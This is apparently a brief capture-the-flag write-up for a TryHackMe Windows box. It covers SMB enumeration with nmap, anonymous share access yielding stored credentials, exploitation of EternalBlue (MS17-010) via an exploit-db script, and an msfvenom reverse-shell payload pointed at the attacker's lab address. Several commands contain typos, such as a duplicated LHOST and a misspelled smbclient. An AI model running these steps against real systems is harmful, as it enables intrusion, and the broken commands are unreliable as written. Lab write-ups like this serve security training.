A medium box from TryHackMe, grabbing creds from an anonymous smb share, then using them with EternalBlue for SYSTEM.

The HTTP server is just a default IIS instance that is not exploitable, lets enumerate SMB

sudo nmap -p 139.445 --script smb-enum* 10.10.94.110

Get into the non-default share with smbclient and anonymous access

smblient \\\\10.10.94.110\\nt4wrksv

And download a password.txt file found on it

smb: \> ls  
 .                                   D        0  Thu Jul 28 20:51:47 2022  
 ..                                  D        0  Thu Jul 28 20:51:47 2022  
 passwords.txt                       A       98  Sat Jul 25 11:15:33 2020

Inside, find some base64 creds

More smb enumeration, check if the smb version is vulnerable

sudo nmap -p 139,445 --script smb-vuln* 10.10.94.110

And find that the target is vulnerable to EternalBlue (MS17-010)

Exploitation

Using the searchsploit result for EternalBlue

Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Exe | windows/remote/42315.py

Then change the user and the password inside the python file to bob’s credentials

![](/Pasted image 20220728232444.png#center)

Then configure the payload inside of the smb_pwm function to spawn a reverse shell

![](/Pasted image 20220728232540.png#center)

Then create a reverse shell with msfvenom called rshell.exe

msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.6.107.137 LHOST=9999 > rshell.exe

Set up a listener on the chosen port

Then run it with

python2 42315.py 10.10.94.110

And get a system shell!

This exploit took me about 3 hours to use because python3 doesn’t like converting bytes to strings, but its okay I just used python2
